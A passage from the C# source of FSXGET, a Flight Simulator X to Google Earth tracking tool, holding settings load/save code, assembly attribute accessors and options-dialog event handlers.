numericUpDownQueryAIHelicoptersRadius.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Range"].Value);
checkBoxAIHelicoptersPredictPoints.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["PredictionPoints"].Value == "1");
checkBoxAIHelicoptersPredict.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Prediction"].Value == "1");
checkBoxAIHelicoptersPredict_CheckedChanged(null, null);
checkBoxQueryAIHelicopters.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Enabled"].Value == "1");
checkBoxQueryAIHelicopters_CheckedChanged(null, null);
numericUpDownQueryAIBoatsInterval.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Interval"].Value);
numericUpDownQueryAIBoatsRadius.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Range"].Value);
checkBoxAIBoatsPredictPoints.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["PredictionPoints"].Value == "1");
checkBoxAIBoatsPredict.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Prediction"].Value == "1");
checkBoxAIBoatsPredict_CheckedChanged(null, null);
checkBoxQueryAIBoats.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Enabled"].Value == "1");
checkBoxQueryAIBoats_CheckedChanged(null, null);
numericUpDownQueryAIGroudUnitsInterval.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Interval"].Value);
numericUpDownQueryAIGroudUnitsRadius.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Range"].Value);
checkBoxAIGroundPredictPoints.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["PredictionPoints"].Value == "1");
checkBoxAIGroundPredict.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Prediction"].Value == "1");
checkBoxAIGroundPredict_CheckedChanged(null, null);
checkBoxQueryAIGroudUnits.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Enabled"].Value == "1");
checkBoxQueryAIGroudUnits_CheckedChanged(null, null);
checkBoxQueryAIObjects.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"].Attributes["Enabled"].Value == "1");
numericUpDownRefreshUserAircraft.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-aircraft"].Attributes["Interval"].Value);
numericUpDownRefreshUserPath.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path"].Attributes["Interval"].Value);
numericUpDownRefreshUserPrediction.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path-prediction"].Attributes["Interval"].Value);
numericUpDownRefreshAIAircrafts.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-aircrafts"].Attributes["Interval"].Value);
numericUpDownRefreshAIHelicopter.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-helicopters"].Attributes["Interval"].Value);
numericUpDownRefreshAIBoats.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-boats"].Attributes["Interval"].Value);
numericUpDownRefreshAIGroundUnits.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-ground-units"].Attributes["Interval"].Value);
numericUpDownServerPort.Value = System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["port"].Attributes["Value"].Value);
if (System.Int64.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["access-level"].Attributes["Value"].Value) == 1)
radioButtonAccessRemote.Checked = true;
else
radioButtonAccessLocalOnly.Checked = true;
//checkBoxLoadFlightPlans.Checked = (xmldSettings["fsxget"]["settings"]["options"]["flightplans"].Attributes["Enabled"].Value == "1");
//listViewFlightPlans.Items.Clear();
//int iCount = 0;
//for (XmlNode xmlnTemp = xmldSettings["fsxget"]["settings"]["options"]["flightplans"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
//{
// ListViewItem lviTemp = listViewFlightPlans.Items.Insert(iCount, xmlnTemp.Attributes["Name"].Value);
// lviTemp.Checked = (xmlnTemp.Attributes["Show"].Value == "1" ? true : false);
// lviTemp.SubItems.Add(xmlnTemp.Attributes["File"].Value);
// iCount++;
//}
radioButton7.Checked = (xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Local"].Value.ToLower() == "true");
radioButton6.Checked = !radioButton7.Checked;
textBox1.Text = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Host"].Value;
textBox3.Text = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Port"].Value;
comboBox1.SelectedIndex = comboBox1.FindString(xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Protocol"].Value);
comboBox2.SelectedIndex = int.Parse(xmldSettings["fsxget"]["settings"]["options"]["ge"]["units"].InnerText);
UpdateCheckBoxStates();
UpdateButtonStates();
}
private void ConfigRetrieveFromForm()
{
xmldSettings["fsxget"]["settings"]["options"]["general"]["application-startup"].Attributes["Exit"].Value = checkBox1.Checked ? "True" : "False";
xmldSettings["fsxget"]["settings"]["options"]["general"]["enable-on-startup"].Attributes["Enabled"].Value = checkEnableOnStartup.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["general"]["show-balloon-tips"].Attributes["Enabled"].Value = checkShowInfoBalloons.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["general"]["load-kml-file"].Attributes["Enabled"].Value = checkBoxLoadKMLFile.Checked ? "1" : "0";
//xmldSettings["fsxget"]["settings"]["options"]["general"]["update-check"].Attributes["Enabled"].Value = checkBoxUpdateCheck.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Interval"].Value = numericUpDownQueryUserAircraft.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-aircraft"].Attributes["Enabled"].Value = checkQueryUserAircraft.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Interval"].Value = numericUpDownQueryUserPath.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-user-path"].Attributes["Enabled"].Value = checkQueryUserPath.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Interval"].Value = numericUpDownUserPathPrediction.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].Attributes["Enabled"].Value = checkBoxUserPathPrediction.Checked ? "1" : "0";
XmlNode xmlnTempLoop = xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].FirstChild;
while (xmlnTempLoop != null)
{
XmlNode xmlnDelete = xmlnTempLoop;
xmlnTempLoop = xmlnTempLoop.NextSibling;
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].RemoveChild(xmlnDelete);
}
for (int n = 0; n < listBoxPathPrediction.Items.Count; n++)
{
XmlNode xmlnTemp = xmldSettings.CreateElement("prediction-point");
XmlAttribute xmlaTemp = xmldSettings.CreateAttribute("Time");
xmlaTemp.Value = ((ListBoxPredictionTimesItem)listBoxPathPrediction.Items[n]).dTime.ToString();
xmlnTemp.Attributes.Append(xmlaTemp);
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["user-path-prediction"].AppendChild(xmlnTemp);
}
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Interval"].Value = numericUpDownQueryAIAircraftsInterval.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Range"].Value = numericUpDownQueryAIAircraftsRadius.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Enabled"].Value = checkBoxQueryAIAircrafts.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["Prediction"].Value = checkBoxAIAircraftsPredict.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-aircrafts"].Attributes["PredictionPoints"].Value = checkBoxAIAircraftsPredictPoints.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Interval"].Value = numericUpDownQueryAIHelicoptersInterval.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Range"].Value = numericUpDownQueryAIHelicoptersRadius.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Enabled"].Value = checkBoxQueryAIHelicopters.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["Prediction"].Value = checkBoxAIHelicoptersPredict.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-helicopters"].Attributes["PredictionPoints"].Value = checkBoxAIHelicoptersPredictPoints.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Interval"].Value = numericUpDownQueryAIBoatsInterval.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Range"].Value = numericUpDownQueryAIBoatsRadius.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Enabled"].Value = checkBoxQueryAIBoats.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["Prediction"].Value = checkBoxAIBoatsPredict.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-boats"].Attributes["PredictionPoints"].Value = checkBoxAIBoatsPredictPoints.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Interval"].Value = numericUpDownQueryAIGroudUnitsInterval.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Range"].Value = numericUpDownQueryAIGroudUnitsRadius.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Enabled"].Value = checkBoxQueryAIGroudUnits.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["Prediction"].Value = checkBoxAIGroundPredict.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"]["query-ai-ground-units"].Attributes["PredictionPoints"].Value = checkBoxAIGroundPredictPoints.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["query-ai-objects"].Attributes["Enabled"].Value = checkBoxQueryAIObjects.Checked ? "1" : "0";
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-aircraft"].Attributes["Interval"].Value = numericUpDownRefreshUserAircraft.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path"].Attributes["Interval"].Value = numericUpDownRefreshUserPath.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["user-path-prediction"].Attributes["Interval"].Value = numericUpDownRefreshUserPrediction.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-aircrafts"].Attributes["Interval"].Value = numericUpDownRefreshAIAircrafts.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-helicopters"].Attributes["Interval"].Value = numericUpDownRefreshAIHelicopter.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-boats"].Attributes["Interval"].Value = numericUpDownRefreshAIBoats.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["refresh-rates"]["ai-ground-units"].Attributes["Interval"].Value = numericUpDownRefreshAIGroundUnits.Value.ToString();
xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["port"].Attributes["Value"].Value = numericUpDownServerPort.Value.ToString();
if (radioButtonAccessRemote.Checked)
xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["access-level"].Attributes["Value"].Value = "1";
else
xmldSettings["fsxget"]["settings"]["options"]["ge"]["server-settings"]["access-level"].Attributes["Value"].Value = "0";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Local"].Value = radioButton7.Checked ? "True" : "False";
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Protocol"].Value = comboBox1.SelectedItem.ToString();
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Host"].Value = textBox1.Text;
xmldSettings["fsxget"]["settings"]["options"]["fsx"]["connection"].Attributes["Port"].Value = textBox3.Text;
xmldSettings["fsxget"]["settings"]["options"]["ge"]["units"].InnerXml = comboBox2.SelectedIndex.ToString();
//xmldSettings["fsxget"]["settings"]["options"]["flightplans"].Attributes["Enabled"].Value = checkBoxLoadFlightPlans.Checked ? "1" : "0";
}
//private void LoadFlightPlans()
//{
// bool bError = false;
// FlightPlan fpTemp;
// XmlDocument xmldTemp = new XmlDocument();
// try
// {
// int iCount = 0;
// fpTemp.szName = "";
// fpTemp.uiID = 0;
// fpTemp.xmldPlan = null;
// for (XmlNode xmlnTemp = xmldSettings["fsxget"]["settings"]["options"]["flightplans"].FirstChild; xmlnTemp != null; xmlnTemp = xmlnTemp.NextSibling)
// {
// try
// {
// if (xmlnTemp.Attributes["Show"].Value == "0")
// continue;
// XmlReader xmlrTemp = new XmlTextReader(xmlnTemp.Attributes["File"].Value);
// fpTemp.uiID = iCount;
// fpTemp.xmldPlan = new XmlDocument();
// fpTemp.xmldPlan.Load(xmlrTemp);
// xmlrTemp.Close();
// xmlrTemp = null;
// }
// catch
// {
// bError = true;
// continue;
// }
// lock (lockFlightPlanList)
// {
// listFlightPlans.Add(fpTemp);
// }
// iCount++;
// }
// }
// catch
// {
// MessageBox.Show("Could not read flight plan list from settings file! No flight plans will be loaded.", Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
// }
// if (bError)
// MessageBox.Show("There were errors loading some of the flight plans! These flight plans will not be shown.\n\nThis problem might be due to incorrect or no longer existing flight plan files.\nPlease remove them from the flight plan list in the options dialog.", Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
//}
#endregion
#region Assembly Attribute Accessors
public string AssemblyTitle
{
get
{
// Get all Title attributes on this assembly
object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false);
// If there is at least one Title attribute
if (attributes.Length > 0)
{
// Select the first one
AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0];
// If it is not an empty string, return it
if (titleAttribute.Title != "")
return titleAttribute.Title;
}
// If there was no Title attribute, or if the Title attribute was the empty string, return the .exe name
return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase);
}
}
public string AssemblyVersion
{
get
{
return Assembly.GetExecutingAssembly().GetName().Version.ToString();
}
}
public string AssemblyDescription
{
get
{
// Get all Description attributes on this assembly
object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false);
// If there aren't any Description attributes, return an empty string
if (attributes.Length == 0)
return "";
// If there is a Description attribute, return its value
return ((AssemblyDescriptionAttribute)attributes[0]).Description;
}
}
public string AssemblyProduct
{
get
{
// Get all Product attributes on this assembly
object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false);
// If there aren't any Product attributes, return an empty string
if (attributes.Length == 0)
return "";
// If there is a Product attribute, return its value
return ((AssemblyProductAttribute)attributes[0]).Product;
}
}
public string AssemblyCopyright
{
get
{
// Get all Copyright attributes on this assembly
object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false);
// If there aren't any Copyright attributes, return an empty string
if (attributes.Length == 0)
return "";
// If there is a Copyright attribute, return its value
return ((AssemblyCopyrightAttribute)attributes[0]).Copyright;
}
}
public string AssemblyCompany
{
get
{
// Get all Company attributes on this assembly
object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false);
// If there aren't any Company attributes, return an empty string
if (attributes.Length == 0)
return "";
// If there is a Company attribute, return its value
return ((AssemblyCompanyAttribute)attributes[0]).Company;
}
}
#endregion
#region User Interface Handlers
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
bClose = true;
Close();
}
private void optionsToolStripMenuItem_Click(object sender, EventArgs e)
{
safeShowMainDialog(0);
}
private void enableTrackerToolStripMenuItem_Click(object sender, EventArgs e)
{
bool bTemp = enableTrackerToolStripMenuItem.Checked;
lock (lockChConf)
{
if (bTemp != gconfchCurrent.bEnabled)
{
gconfchCurrent.bEnabled = bTemp;
if (gconfchCurrent.bEnabled)
globalConnect();
else
globalDisconnect();
}
}
}
private void showBalloonTipsToolStripMenuItem_Click(object sender, EventArgs e)
{
lock (lockChConf)
{
gconfchCurrent.bShowBalloons = showBalloonTipsToolStripMenuItem.Checked;
}
// This call is safe as the existence of this key has been checked by calling configMirrorToForm at startup.
xmldSettings["fsxget"]["settings"]["options"]["general"]["show-balloon-tips"].Attributes["Enabled"].Value = showBalloonTipsToolStripMenuItem.Checked ? "1" : "0";
}
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
safeShowMainDialog(5);
}
private void clearUserAircraftPathToolStripMenuItem_Click(object sender, EventArgs e)
{
lock (lockKmlUserPath)
{
szKmlUserAircraftPath = "";
}
lock (lockKmlUserPrediction)
{
szKmlUserPrediction = "";
listKmlPredictionPoints.Clear();
}
lock (lockKmlPredictionPoints)
{
clearPPStructure(ref ppPos1);
clearPPStructure(ref ppPos2);
}
}
private void runMicrosoftFlightSimulatorXToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
System.Diagnostics.Process.Start(szPathFSX);
}
catch
{
MessageBox.Show("An error occured while trying to start Microsoft Flight Simulator X.", Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
private void runGoogleEarthToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
lock (lockListenerControl)
{
if (gconffixCurrent.bLoadKMLFile && bConnected)
System.Diagnostics.Process.Start(szUserAppPath + "\\pub\\fsxgetd.kml");
else
System.Diagnostics.Process.Start(szUserAppPath + "\\pub\\fsxgets.kml");
}
}
catch
{
MessageBox.Show("An error occured while trying to start Google Earth.", Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
private void notifyIcon1_MouseClick(object sender, MouseEventArgs e)
{
if (notifyIconMain.ContextMenuStrip == null)
this.Activate();
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
try
{
linkLabel1.LinkVisited = true;
System.Diagnostics.Process.Start("http://www.juergentreml.de/fsxget/");
}
catch
{
MessageBox.Show("Unable to open http://www.juergentreml.de/fsxget/!");
}
}
private void checkBoxQueryAIObjects_CheckedChanged(object sender, EventArgs e)
{
checkBoxQueryAIAircrafts.Enabled = checkBoxQueryAIBoats.Enabled = checkBoxQueryAIGroudUnits.Enabled = checkBoxQueryAIHelicopters.Enabled = checkBoxQueryAIObjects.Checked;
bRestartRequired = true;
}
private void checkBoxQueryAIAircrafts_CheckedChanged(object sender, EventArgs e)
{
checkBoxQueryAIAircrafts_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxQueryAIAircrafts_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIAircraftsPredict.Enabled = numericUpDownQueryAIAircraftsInterval.Enabled = numericUpDownQueryAIAircraftsRadius.Enabled = (checkBoxQueryAIAircrafts.Enabled & checkBoxQueryAIAircrafts.Checked);
}
private void checkBoxQueryAIHelicopters_CheckedChanged(object sender, EventArgs e)
{
checkBoxQueryAIHelicopters_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxQueryAIHelicopters_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIHelicoptersPredict.Enabled = numericUpDownQueryAIHelicoptersInterval.Enabled = numericUpDownQueryAIHelicoptersRadius.Enabled = (checkBoxQueryAIHelicopters.Enabled & checkBoxQueryAIHelicopters.Checked);
}
private void checkBoxQueryAIBoats_CheckedChanged(object sender, EventArgs e)
{
checkBoxQueryAIBoats_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxQueryAIBoats_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIBoatsPredict.Enabled = numericUpDownQueryAIBoatsInterval.Enabled = numericUpDownQueryAIBoatsRadius.Enabled = (checkBoxQueryAIBoats.Enabled & checkBoxQueryAIBoats.Checked);
}
private void checkBoxQueryAIGroudUnits_CheckedChanged(object sender, EventArgs e)
{
checkBoxQueryAIGroudUnits_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxQueryAIGroudUnits_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIGroundPredict.Enabled = numericUpDownQueryAIGroudUnitsInterval.Enabled = numericUpDownQueryAIGroudUnitsRadius.Enabled = (checkBoxQueryAIGroudUnits.Enabled & checkBoxQueryAIGroudUnits.Checked);
}
private void checkQueryUserAircraft_CheckedChanged(object sender, EventArgs e)
{
numericUpDownQueryUserAircraft.Enabled = checkQueryUserAircraft.Checked;
bRestartRequired = true;
}
private void checkQueryUserPath_CheckedChanged(object sender, EventArgs e)
{
numericUpDownQueryUserPath.Enabled = checkQueryUserPath.Checked;
bRestartRequired = true;
}
private void buttonOK_Click(object sender, EventArgs e)
{
// Set startup options if necessary
if (radioButton8.Checked)
{
if (!isAutoStartActivated())
if (!AutoStartActivate())
MessageBox.Show("Couldn't change autorun value in registry!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
if (isFsxStartActivated())
if (!FsxStartDeactivate())
MessageBox.Show("Couldn't change FSX startup options!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
else if (radioButton9.Checked)
{
if (!isFsxStartActivated())
if (!FsxStartActivate())
MessageBox.Show("Couldn't change FSX startup options!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
if (isAutoStartActivated())
if (!AutoStartDeactivate())
MessageBox.Show("Couldn't change autorun value in registry!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
else
{
if (isFsxStartActivated())
if (!FsxStartDeactivate())
MessageBox.Show("Couldn't change FSX startup options!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
if (isAutoStartActivated())
if (!AutoStartDeactivate())
MessageBox.Show("Couldn't change autorun value in registry!", AssemblyTitle, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
//string szRun = (string)Registry.GetValue(szRegKeyRun, AssemblyTitle, "");
ConfigRetrieveFromForm();
showBalloonTipsToolStripMenuItem.Checked = checkShowInfoBalloons.Checked;
notifyIconMain.ContextMenuStrip = contextMenuStripNotifyIcon;
gconffixCurrent.utUnits = (UnitType)comboBox2.SelectedIndex;
if (bRestartRequired)
if (MessageBox.Show("Some of the changes you made require a restart. Do you want to restart " + Text + " now for those changes to take effect.", Text, MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
RestartApp();
Hide();
}
private void buttonCancel_Click(object sender, EventArgs e)
{
safeHideMainDialog();
}
private void numericUpDownQueryUserAircraft_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryUserPath_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIAircraftsInterval_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIHelicoptersInterval_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIBoatsInterval_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIGroudUnitsInterval_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIAircraftsRadius_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIHelicoptersRadius_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIBoatsRadius_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownQueryAIGroudUnitsRadius_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshUserAircraft_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshUserPath_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshAIAircrafts_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshAIHelicopter_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshAIBoats_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshAIGroundUnits_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownServerPort_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxLoadKMLFile_CheckedChanged(object sender, EventArgs e)
{
gconffixCurrent.bLoadKMLFile = checkBoxLoadKMLFile.Checked;
}
private void checkBoxUserPathPrediction_CheckedChanged(object sender, EventArgs e)
{
numericUpDownUserPathPrediction.Enabled = checkBoxUserPathPrediction.Checked;
bRestartRequired = true;
}
private void numericUpDownUserPathPrediction_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void numericUpDownRefreshUserPrediction_ValueChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxSaveLog_CheckedChanged(object sender, EventArgs e)
{
checkBoxSubFoldersForLog.Enabled = (checkBoxSaveLog.Checked);
}
private void radioButtonAccessLocalOnly_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void radioButtonAccessRemote_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxAIAircraftsPredict_CheckedChanged(object sender, EventArgs e)
{
checkBoxAIAircraftsPredict_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxAIAircraftsPredict_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIAircraftsPredictPoints.Enabled = (checkBoxAIAircraftsPredict.Enabled & checkBoxAIAircraftsPredict.Checked);
}
private void checkBoxAIHelicoptersPredict_CheckedChanged(object sender, EventArgs e)
{
checkBoxAIHelicoptersPredict_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxAIHelicoptersPredict_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIHelicoptersPredictPoints.Enabled = (checkBoxAIHelicoptersPredict.Enabled & checkBoxAIHelicoptersPredict.Checked);
}
private void checkBoxAIBoatsPredict_CheckedChanged(object sender, EventArgs e)
{
checkBoxAIBoatsPredict_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxAIBoatsPredict_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIBoatsPredictPoints.Enabled = (checkBoxAIBoatsPredict.Enabled & checkBoxAIBoatsPredict.Checked);
}
private void checkBoxAIGroundPredict_CheckedChanged(object sender, EventArgs e)
{
checkBoxAIGroundPredict_EnabledChanged(null, null);
bRestartRequired = true;
}
private void checkBoxAIGroundPredict_EnabledChanged(object sender, EventArgs e)
{
checkBoxAIGroundPredictPoints.Enabled = (checkBoxAIGroundPredict.Enabled & checkBoxAIGroundPredict.Checked);
}
private void checkBoxAIAircraftsPredictPoints_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxAIHelicoptersPredictPoints_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxAIBoatsPredictPoints_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void checkBoxAIGroundPredictPoints_CheckedChanged(object sender, EventArgs e)
{
bRestartRequired = true;
}
private void createGoogleEarthKMLFileToolStripMenuItem_DropDownIPClick(object sender, EventArgs e)
{
String szTemp = sender.ToString();
if (szTemp.Length < 7)
return;
szTemp = szTemp.Substring(7);
